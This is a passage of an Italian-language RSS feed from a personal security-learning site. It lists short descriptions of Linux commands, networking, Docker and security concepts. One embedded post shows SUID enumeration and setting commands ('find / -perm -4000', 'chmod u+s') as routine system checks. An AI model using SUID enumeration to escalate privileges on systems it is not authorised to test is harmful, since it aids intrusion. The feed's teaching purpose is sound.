isolato dagli altri.</description></item><item><title>Docker - Modello Mentale</title><link>https://u-random.dev/concetti/docker-overview/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/docker-overview/</guid><description>Modello mentale per capire Docker prima di entrare nei dettagli tecnici. Ogni container e' un mini Linux isolato - un appartamento in un condominio.</description></item><item><title>Docker Compose</title><link>https://u-random.dev/concetti/docker-compose/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/docker-compose/</guid><description>File YAML che descrive un'applicazione multi-container: quali immagini usare, come configurarle, come collegarle in rete, dove salvare i dati. Un solo file per gestire tutta l'infrastruttura.</description></item><item><title>Docker Image</title><link>https://u-random.dev/concetti/docker-image/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/docker-image/</guid><description>Un'immagine Docker e' il template immutabile da cui nascono i container. Contiene il filesystem, le dipendenze e le istruzioni di avvio. Il container e' l'immagine in esecuzione.</description></item><item><title>Docker Security</title><link>https://u-random.dev/concetti/docker-security/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/docker-security/</guid><description>I rischi di sicurezza specifici di Docker: docker.sock come vettore di privilege escalation, container root, porte esposte, immagini vulnerabili. Come difendersi da ciascuno.</description></item><item><title>Dockerfile</title><link>https://u-random.dev/concetti/dockerfile/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/dockerfile/</guid><description>File di istruzioni per costruire un'immagine Docker. Ogni istruzione aggiunge un layer. ENTRYPOINT e CMD definiscono cosa esegue il container quando parte.</description></item><item><title>Reverse Proxy</title><link>https://u-random.dev/concetti/reverse-proxy/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/reverse-proxy/</guid><description>Server intermediario che si posiziona davanti all'infrastruttura interna, accettando tutte le richieste esterne e distribuendole ai server giusti. Protegge il server, non il client.</description></item><item><title>tmux</title><link>https://u-random.dev/comandi/tmux/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/tmux/</guid><description>Terminal multiplexer — permette di avere piu finestre e pannelli in un solo terminale, e di lasciare sessioni attive in background anche dopo aver chiuso la connessione SSH.</description></item><item><title>traefik</title><link>https://u-random.dev/comandi/traefik/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/traefik/</guid><description>Edge router e reverse proxy moderno che si configura automaticamente leggendo i metadati dei container Docker. Zero configurazione manuale per ogni nuovo servizio.</description></item><item><title>Chi Sei per il Kernel</title><link>https://u-random.dev/blog/chi-sei-per-il-kernel/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/chi-sei-per-il-kernel/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;Linux non lavora con nomi utente - lavora con numeri: UID e GID&lt;/li&gt;
&lt;li&gt;Ogni file ha tre livelli di permessi: owner, group, others&lt;/li&gt;
&lt;li&gt;Il bit SUID cambia le regole: il processo gira con i privilegi del proprietario del file, non di chi lo esegue&lt;/li&gt;
&lt;li&gt;&lt;code&gt;find / -perm -4000&lt;/code&gt; trova tutti i binari SUID del sistema - un'occhiata vale sempre&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;id&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/ls/" &gt;ls&lt;/a&gt; -la /usr/bin/passwd&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/find/" &gt;find&lt;/a&gt; / -perm -4000 -type f 2&amp;gt;/dev/null&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/chmod/" &gt;chmod&lt;/a&gt; u+s /path/to/file&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/chmod/" &gt;chmod&lt;/a&gt; u-s /path/to/file&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/find/" &gt;find&lt;/a&gt; / -perm -4000 -type f 2&amp;gt;/dev/null | &lt;a href="https://u-random.dev/comandi/grep/" &gt;grep&lt;/a&gt; -v -E &amp;quot;^/(usr/bin|usr/sbin|bin|sbin|usr/lib)&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;Linux non sa chi sei. Sa solo il tuo numero.&lt;/p&gt;</description></item><item><title>Shell Interattiva vs Non Interattiva</title><link>https://u-random.dev/concetti/shell-interattiva/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/shell-interattiva/</guid><description>La differenza tra shell interattiva e non interattiva determina quali file di configurazione vengono letti all'avvio. Fondamentale per capire persistence via dotfile e comportamento di SSH.</description></item><item><title>SUID, SGID e Sticky Bit</title><link>https://u-random.dev/concetti/suid-sgid-sticky/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/suid-sgid-sticky/</guid><description>I tre bit speciali dei permessi Linux: SUID fa girare un processo con i permessi del proprietario del file, SGID con quelli del gruppo, Sticky Bit impedisce la cancellazione da parte di chi non è proprietario.</description></item><item><title>Find</title><link>https://u-random.dev/comandi/find/</link><pubDate>Tue, 17 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/find/</guid><description>Cerca file e directory nel filesystem in base a criteri specifici (nome, dimensione, permessi, utente). È uno strumento ricorsivo per natura, fondamentale per l'analisi del sistema e la ricerca di artefatti.</description></item><item><title>git - sistema di controllo versione distribuito</title><link>https://u-random.dev/comandi/git/</link><pubDate>Tue, 17 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/git/</guid><description>Sistema di version control distribuito. Traccia modifiche ai file nel tempo, permette collaborazione, branching e rollback. Ogni sviluppatore ha una copia completa del repository, inclusa tutta la storia.</description></item><item><title>HTTP in Detail</title><link>https://u-random.dev/concetti/http-in-detail/</link><pubDate>Tue, 17 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/http-in-detail/</guid><description>Protocollo HTTP: struttura URL, metodi, status code, header, cookie e sessioni. Prospettiva applicativa.</description></item><item><title>apt - gestione pacchetti Debian/Ubuntu</title><link>https://u-random.dev/comandi/apt/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/apt/</guid><description>Gestore di pacchetti standard per distribuzioni basate su Debian (Ubuntu, Kali). Serve per installare, aggiornare, rimuovere e gestire il software di sistema.</description></item><item><title>ARP - Address Resolution Protocol</title><link>https://u-random.dev/concetti/arp/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/arp/</guid><description>Protocollo che traduce indirizzi IP (Layer 3) in indirizzi MAC (Layer 2). Quando un dispositivo vuole comunicare con un IP nella stessa subnet, usa ARP per scoprire il MAC address corrispondente prima di poter inviare i dati.</description></item><item><title>Base64</title><link>https://u-random.dev/comandi/base64/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/base64/</guid><description>Codifica e decodifica file o flussi di dati in formato testuale ASCII a 64 caratteri.</description></item><item><title>Bzip2</title><link>https://u-random.dev/comandi/bzip2/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/bzip2/</guid><description>Comprime file singoli usando l'algoritmo Burrows-Wheeler. È più efficiente ma più lento di gzip. Il nome sta per block-sorting zip.</description></item><item><title>cat - concatena e visualizza file</title><link>https://u-random.dev/comandi/cat/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/cat/</guid><description>Legge uno o più file e ne stampa il contenuto sullo standard output (terminale). È il comando fondamentale per l'ispezione rapida di file di testo, password e configurazioni.</description></item><item><title>Chown</title><link>https://u-random.dev/comandi/chown/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/chown/</guid><description>Cambia il proprietario (owner) e/o il gruppo (group) di un file o di una directory. È essenziale per la gestione dei privilegi e degli accessi in un sistema Linux.</description></item><item><title>Compressione Nidificata (Nested Compression)</title><link>https://u-random.dev/concetti/nested-compression/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/nested-compression/</guid><description>Tecnica di offuscamento che consiste nel comprimere un file più volte usando algoritmi diversi per nasconderne il contenuto e la firma.</description></item><item><title>Compressione Vs Archiviazione</title><link>https://u-random.dev/concetti/compressione-vs-archiviazione/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/compressione-vs-archiviazione/</guid><description>L'archiviazione raggruppa più file in uno solo (container), mentre la compressione riduce lo spazio occupato dai dati eliminando le ridondanze.</description></item><item><title>cp - copia file e directory</title><link>https://u-random.dev/comandi/cp/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/cp/</guid><description>Copia file e directory. Può essere usato per creare 'cloni' reali o collegamenti simbolici di massa.</description></item><item><title>Cut</title><link>https://u-random.dev/comandi/cut/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/cut/</guid><description>Estrae sezioni (colonne) da ogni riga di un file o di un input testuale.</description></item><item><title>CVE e NVD - Database Vulnerabilità</title><link>https://u-random.dev/concetti/cve-nvd/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/cve-nvd/</guid><description>CVE (Common Vulnerabilities and Exposures) è il dizionario ufficiale delle vulnerabilità informatiche. NVD (National Vulnerability Database) arricchisce ogni CVE con score di gravità, metriche tecniche e prodotti affetti.</description></item><item><title>diff - confronta differenze tra due file</title><link>https://u-random.dev/comandi/diff/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/diff/</guid><description>Confronta due file riga per riga e mostra le differenze. Fondamentale per rilevare modifiche non autorizzate a file di configurazione o log.</description></item><item><title>DNS Records</title><link>https://u-random.dev/concetti/dns-records/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/dns-records/</guid><description>I record DNS sono le singole 'voci' nella zona DNS di un dominio. Ogni record associa un nome a un valore specifico (IP, altro nome, server di posta, testo di verifica). Quando modifichi i parametri DNS nel pannello del tuo provider, stai editando questi record.</description></item><item><title>DNS Resolution Flow</title><link>https://u-random.dev/concetti/dns-resolution-flow/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/dns-resolution-flow/</guid><description>Il DNS è il sistema distribuito gerarchico che traduce nomi di dominio in indirizzi IP attraverso una catena di deleghe: resolver, root server, TLD, authoritative nameserver.</description></item><item><title>Echo</title><link>https://u-random.dev/comandi/echo/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/echo/</guid><description>Stampa testo o il risultato di espansioni shell sullo standard output. È il tool principale per capire come la shell interpreta ed espande i comandi prima di eseguirli.</description></item><item><title>Etc Passwd Anatomy</title><link>https://u-random.dev/concetti/etc-passwd-anatomy/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/etc-passwd-anatomy/</guid><description>Il file &lt;code&gt;/etc/passwd&lt;/code&gt; è il database locale degli account utente. È un file di testo pubblico (leggibile da tutti) che definisce chi può accedere al sistema.</description></item><item><title>File</title><link>https://u-random.dev/comandi/file/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/file/</guid><description>Determina il tipo di contenuto di un file esaminando la sua struttura interna (Magic Bytes / Magic Numbers), ignorando completamente l'estensione. È uno strumento critico per distinguere file di testo, binari, script o malware mascherati.</description></item><item><title>Filesystem Architecture Inodes</title><link>https://u-random.dev/concetti/filesystem-architecture-inodes/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/filesystem-architecture-inodes/</guid><description>Concetto Core: In Linux, una directory non è un semplice 'contenitore', ma un file speciale che funge da indice. Al suo interno risiedono voci che associano il nome di ogni elemento al suo numero di inode. L'inode è la struttura dati che contiene i metadati e i puntatori ai blocchi fisici sul disco.</description></item><item><title>Getent</title><link>https://u-random.dev/comandi/getent/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/getent/</guid><description>Interroga i database del Service Name Switch (NSS), permettendo di consultare utenti, gruppi, host e altri database di sistema indipendentemente dalla loro origine (locale o di rete).</description></item><item><title>Google Operators - Operatori di Ricerca Avanzata</title><link>https://u-random.dev/concetti/google-operators/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/google-operators/</guid><description>Sintassi speciale per affinare le ricerche su Google e altri motori. In ambito OSINT e threat intelligence permettono di trovare informazioni specifiche su target, vulnerabilità, e risorse tecniche con precisione chirurgica.</description></item><item><title>grep - cerca pattern nel testo (Global Regular Expression Print)</title><link>https://u-random.dev/comandi/grep/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/grep/</guid><description>Cerca pattern (stringhe o espressioni regolari) all'interno di file o flussi di dati (Standard Input). È il pilastro fondamentale per l'analisi dei log e l'isolamento di eventi sospetti.</description></item><item><title>gzip - compressione file</title><link>https://u-random.dev/comandi/gzip/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/gzip/</guid><description>Utility per la compressione di file singoli tramite l'algoritmo DEFLATE. Il nome sta per GNU zip.</description></item><item><title>head - mostra le prime righe di un file</title><link>https://u-random.dev/comandi/head/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/head/</guid><description>Visualizza la porzione iniziale (le prime righe o byte) di uno o più file o dell'input ricevuto. head (1) - emette la prima parte dei file.</description></item><item><title>Help</title><link>https://u-random.dev/comandi/help/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/help/</guid><description>Visualizza un riassunto rapido della sintassi, dei flag e delle opzioni di un comando direttamente nello standard output. È lo strumento di consultazione più veloce per recuperare i parametri senza uscire dal flusso di lavoro del terminale.</description></item><item><title>How Web Works</title><link>https://u-random.dev/concetti/how-web-works/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/how-web-works/</guid><description>Architettura completa di una richiesta web end-to-end: DNS, WAF, load balancer, web server, virtual host, database, contenuto statico vs dinamico, backend languages.</description></item><item><title>ICMP, MAC e IP - Identità e Diagnostica di Rete</title><link>https://u-random.dev/concetti/icmp-mac-ip/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/icmp-mac-ip/</guid><description>Tre concetti fondamentali del networking: IP identifica dove sei nella rete (indirizzo logico), MAC identifica chi sei fisicamente sulla LAN (indirizzo hardware), ICMP è il protocollo di diagnostica usato da ping e traceroute.</description></item><item><title>Info</title><link>https://u-random.dev/comandi/info/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/info/</guid><description>Sistema di documentazione avanzato che organizza i manuali in menu navigabili e collegati (ipertestuali). info (1) - legge documenti in formato Info.</description></item><item><title>Inode Anatomy</title><link>https://u-random.dev/concetti/inode-anatomy/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/inode-anatomy/</guid><description>L'Inode (Index Node) è la struttura dati fondamentale dei filesystem Unix-like. Funge da 'carta d'identità' del file, contenendo tutti i metadati e i puntatori ai dati fisici, ma ignorando completamente il nome del file.</description></item><item><title>Journalctl</title><link>https://u-random.dev/comandi/journalctl/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/journalctl/</guid><description>Interroga e visualizza i log gestiti da &lt;code&gt;systemd-journald&lt;/code&gt;. È lo strumento standard per l'analisi dei log di sistema, dei servizi e del kernel nelle distribuzioni Linux moderne.</description></item><item><title>Journalctl Vs Var Log</title><link>https://u-random.dev/concetti/journalctl-vs-var-log/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/journalctl-vs-var-log/</guid><description>Storicamente, Linux ha sempre salvato i log in file di testo semplice dentro &lt;code&gt;/var/log&lt;/code&gt; (gestiti da un servizio chiamato &lt;code&gt;syslog&lt;/code&gt; o &lt;code&gt;rsyslog&lt;/code&gt;). Con l'avvento di &lt;a href="https://u-random.dev/concetti/systemd/" &gt;systemd&lt;/a&gt;, è stato introdotto &lt;a href="https://u-random.dev/concetti/journald/" &gt;journald&lt;/a&gt;, che salva i log in un database binario.</description></item><item><title>LAN Topologies - Topologie di Rete</title><link>https://u-random.dev/concetti/lan-topologies/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/lan-topologies/</guid><description>Una topologia di rete descrive come i dispositivi sono collegati fisicamente e logicamente tra loro. La scelta della topologia influenza costo, scalabilità, affidabilità e facilità di troubleshooting.</description></item><item><title>Less</title><link>https://u-random.dev/comandi/less/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/less/</guid><description>Permette di visualizzare file di testo lunghi una pagina alla volta senza caricarli interamente in RAM. È il visualizzatore predefinito per i manuali di sistema (&lt;code&gt;man&lt;/code&gt;) e per l'output di molti comandi di analisi.</description></item><item><title>Link Hard Vs Symbolic</title><link>https://u-random.dev/concetti/link-hard-vs-symbolic/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/link-hard-vs-symbolic/</guid><description>Meccanismi del filesystem per far sì che un file appaia in più posizioni contemporaneamente.</description></item><item><title>Link Orfani (Broken Links)</title><link>https://u-random.dev/concetti/broken-links/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/broken-links/</guid><description>Un collegamento simbolico (Symlink) il cui percorso di destinazione non esiste più sul filesystem. Il link punta al 'nulla'.</description></item><item><title>Linux Filesystem Hierarchy</title><link>https://u-random.dev/concetti/linux-filesystem-hierarchy/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/linux-filesystem-hierarchy/</guid><description>Lo standard (FHS - Filesystem Hierarchy Standard) che definisce la posizione e il contenuto delle directory principali in un sistema Linux. Tutto parte dalla 'radice' rappresentata dal simbolo &lt;code&gt;/&lt;/code&gt;.</description></item><item><title>Linux Groups</title><link>https://u-random.dev/concetti/linux-groups/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/linux-groups/</guid><description>I gruppi sono entità logiche che raggruppano più utenti per facilitare la gestione granulare dei permessi su file, directory e risorse hardware.</description></item><item><title>Linux Permissions UGO</title><link>https://u-random.dev/concetti/linux-permissions-ugo/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/linux-permissions-ugo/</guid><description>Il sistema di permessi Linux si basa su tre livelli (User, Group, Others) e tre bit (r, w, x) che cambiano significato a seconda che l'oggetto sia un file o una directory.</description></item><item><title>Ln</title><link>https://u-random.dev/comandi/ln/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ln/</guid><description>Crea collegamenti (links) tra file. Di default crea 'hard links', ma con il flag &lt;code&gt;-s&lt;/code&gt; crea 'symbolic links'.</description></item><item><title>Ls</title><link>https://u-random.dev/comandi/ls/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ls/</guid><description>Elenca i file e le directory contenuti in un percorso. È lo strumento fondamentale per l'esplorazione del sistema e per individuare vettori di attacco, file di configurazione o artefatti nascosti.</description></item><item><title>Magic Bytes</title><link>https://u-random.dev/concetti/magic-bytes/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/magic-bytes/</guid><description>I Magic Bytes sono sequenze di byte posizionate all'inizio di un file (nell'header) che permettono al sistema operativo e ai software di identificarne il tipo reale, indipendentemente dall'estensione.</description></item><item><title>Nat Concept</title><link>https://u-random.dev/concetti/nat-concept/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/nat-concept/</guid><description>Il NAT è un meccanismo che permette a più dispositivi di una rete privata (con IP privati) di accedere a una rete pubblica (Internet) utilizzando un unico indirizzo IP pubblico. Funziona come un portiere d'albergo che smista la posta per tutte le stanze.</description></item><item><title>Network Configuration Linux</title><link>https://u-random.dev/concetti/network-configuration-linux/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/network-configuration-linux/</guid><description>La gestione della rete su Linux varia a seconda della distribuzione e dello scopo (Server vs Desktop). Ubuntu Server usa principalmente Netplan, mentre Kali (e le distro desktop) usa spesso NetworkManager o il file statico &lt;code&gt;interfaces&lt;/code&gt;.</description></item><item><title>Network Interfaces (Interfacce di Rete)</title><link>https://u-random.dev/concetti/network-interfaces/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/network-interfaces/</guid><description>Un'interfaccia di rete è il punto di contatto tra il kernel Linux e una rete - fisica o virtuale. Ogni interfaccia ha un nome, un indirizzo IP, e gestisce un tipo specifico di traffico.</description></item><item><title>nslookup - query DNS interattive</title><link>https://u-random.dev/comandi/nslookup/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/nslookup/</guid><description>Interroga i server DNS per ottenere i record associati a un dominio. Utile per verificare configurazioni DNS, investigare domini sospetti e controllare record SPF/DMARC durante analisi phishing. nslookup (name server lookup) — ricerca nei nameserver.</description></item><item><title>Openssl</title><link>https://u-random.dev/comandi/openssl/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/openssl/</guid><description>Toolkit per crittografia e SSL/TLS. Permette di creare certificati, cifrare file, e aprire connessioni SSL/TLS da terminale.</description></item><item><title>Openssl S_Client</title><link>https://u-random.dev/comandi/openssl-s_client/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/openssl-s_client/</guid><description>Implementa un client SSL/TLS generico che stabilisce una connessione sicura con un server remoto. È essenzialmente un '&lt;a href="https://u-random.dev/comandi/netcat/" &gt;netcat&lt;/a&gt; con i superpoteri della cifratura'.</description></item><item><title>Orphaned Files Security</title><link>https://u-random.dev/concetti/orphaned-files-security/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/orphaned-files-security/</guid><description>Si definiscono 'orfani' i file che possiedono un UID (User ID) o un GID (Group ID) che non corrispondono più a nessun utente o gruppo esistente nel sistema.</description></item><item><title>OSI Model - Il Modello a Layer</title><link>https://u-random.dev/concetti/osi-model/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/osi-model/</guid><description>Modello concettuale creato da ISO nel 1984 per standardizzare la comunicazione tra sistemi di produttori diversi. Divide la comunicazione di rete in 7 layer con responsabilità precise. Oggi TCP/IP ha vinto nella pratica comprimendo i 7 layer in 4, ma OSI rimane il linguaggio universale per ragionare sui problemi di rete e sicurezza.</description></item><item><title>Passive Reconnaissance - Ricognizione Passiva</title><link>https://u-random.dev/concetti/passive-reconnaissance/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/passive-reconnaissance/</guid><description>Fase di raccolta informazioni su un target senza interagire direttamente con i suoi sistemi. Il target non si accorge dell'attività perché si usano solo fonti pubbliche: motori di ricerca, DNS pubblici, social media, archivi, certificati TLS.</description></item><item><title>Persistenza degli Alias</title><link>https://u-random.dev/concetti/alias-persistence/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/alias-persistence/</guid><description>Il metodo per rendere permanenti gli alias salvandoli nei file di configurazione della shell invece di lasciarli nella memoria volatile della sessione.</description></item><item><title>ping - test di raggiungibilita ICMP</title><link>https://u-random.dev/comandi/ping/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ping/</guid><description>Invia pacchetti ICMP Echo Request a un host e misura il tempo di risposta. Usato per verificare la raggiungibilità di un host e la latenza della connessione.</description></item><item><title>Proxy</title><link>https://u-random.dev/concetti/proxy/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/proxy/</guid><description>Un server proxy agisce come intermediario tra un client e un server. A differenza del NAT che lavora a basso livello (IP), il proxy lavora solitamente a livello applicativo. Il client chiede al proxy, e il proxy chiede al server finale 'per conto' del client.</description></item><item><title>rm - elimina file e directory</title><link>https://u-random.dev/comandi/rm/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/rm/</guid><description>Rimuove (scollega) file o directory dal filesystem. Il nome sta per remove.</description></item><item><title>Rm Mechanism</title><link>https://u-random.dev/concetti/rm-mechanism/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/rm-mechanism/</guid><description>La logica per cui l'eliminazione di un file in Linux non è la distruzione dei dati, ma la rimozione di un riferimento (link) all'Inode.</description></item><item><title>Routing, Hop e TTL</title><link>https://u-random.dev/concetti/routing-hop-ttl/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/routing-hop-ttl/</guid><description>Il routing è il processo con cui i pacchetti viaggiano da una rete all'altra attraverso router intermedi. Ogni 'tappa' si chiama hop. Il TTL limita il numero massimo di hop che un pacchetto può fare prima di essere scartato.</description></item><item><title>Servizi Linux (Daemon)</title><link>https://u-random.dev/concetti/linux-services/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/linux-services/</guid><description>Processi che girano in background senza interazione diretta dell'utente, gestiti solitamente da &lt;code&gt;systemd&lt;/code&gt;.</description></item><item><title>Shutdown</title><link>https://u-random.dev/comandi/shutdown/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/shutdown/</guid><description>Spegne, riavvia o pianifica la chiusura del sistema in modo sicuro. Si assicura che tutti i processi ricevano il segnale di terminazione (SIGTERM), i filesystem vengano smontati e i dati sincronizzati su disco (sync).</description></item><item><title>Socket (Endpoint di Comunicazione)</title><link>https://u-random.dev/concetti/socket-concept/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/socket-concept/</guid><description>Un socket è un endpoint di comunicazione che permette a due processi di scambiare dati, sia sulla stessa macchina che attraverso la rete. In Linux, un socket è un file con un proprio File Descriptor, gestito dal Kernel.</description></item><item><title>Sort</title><link>https://u-random.dev/comandi/sort/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/sort/</guid><description>Ordina le righe di un file di testo o dell'input ricevuto in ordine alfabetico o numerico.</description></item><item><title>Ssh</title><link>https://u-random.dev/comandi/ssh/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ssh/</guid><description>Protocollo e client per l'accesso remoto cifrato. Permette di comandare una macchina remota (guest) dal proprio terminale locale (host) garantendo riservatezza e integrità dei dati tramite crittografia asimmetrica.</description></item><item><title>Ssh Config File</title><link>https://u-random.dev/comandi/ssh-config-file/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ssh-config-file/</guid><description>File di configurazione locale (&lt;code&gt;~/.ssh/config&lt;/code&gt;) che permette di mappare parametri complessi (IP, porte, utenti, chiavi) su alias mnemonici. Semplifica l'accesso remoto e permette l'integrazione con IDE come VS Code.</description></item><item><title>Ssh Key Authentication</title><link>https://u-random.dev/concetti/ssh-key-authentication/</link><pubDate>Sun, 